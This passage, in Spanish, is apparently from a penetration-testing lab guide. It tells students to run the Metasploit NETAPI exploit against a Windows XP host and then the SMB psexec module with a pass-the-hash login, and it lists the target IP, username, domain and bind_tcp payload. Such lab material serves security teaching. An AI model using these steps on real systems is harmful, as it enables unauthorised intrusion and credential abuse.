todos sus respectivos puertos abiertos.

Lanzar exploit:

8) Se puede proceder a lanzar de nuevo el exploit NETAPI, pero esta vez se realiza contra el
equipo Windows XP, pero esta vez se debe de ejecutar el PAYLOAD meterpreter/bind_tcp

Optativo: Lanzar otro exploit:

9) También podemos lanzar otro ataque al protocolo SMB, lo cual podemos realizar con el
PAYLOAD llamado: exploit/windows/smb/psexec. Cuando seleccionemos este PAYLOAD, se le
deben de asignar las siguientes variables (Tener presente que para este exploit se requiere de
los hash que obtuvieron en pasos anteriores de esta práctica).

RHOST: 10.0.0.11
SMBUser administrator
SMBPass se le coloca el hash obtenido en puntos anteriores de esta práctica (Ojo copiar y
Pegar el HASH, en lo que respecta al contenido que esta antes de :::)
SMBDomain (Colocar el nombre del dominio, el cual debe de ser METASPLOIT)
Y por último el PAYLOAD, el cual es Meterpreter/bind_tcp.
Finalmente se ejecuta con el comando run

© www.dsteamseguridad.com

También podría gustarte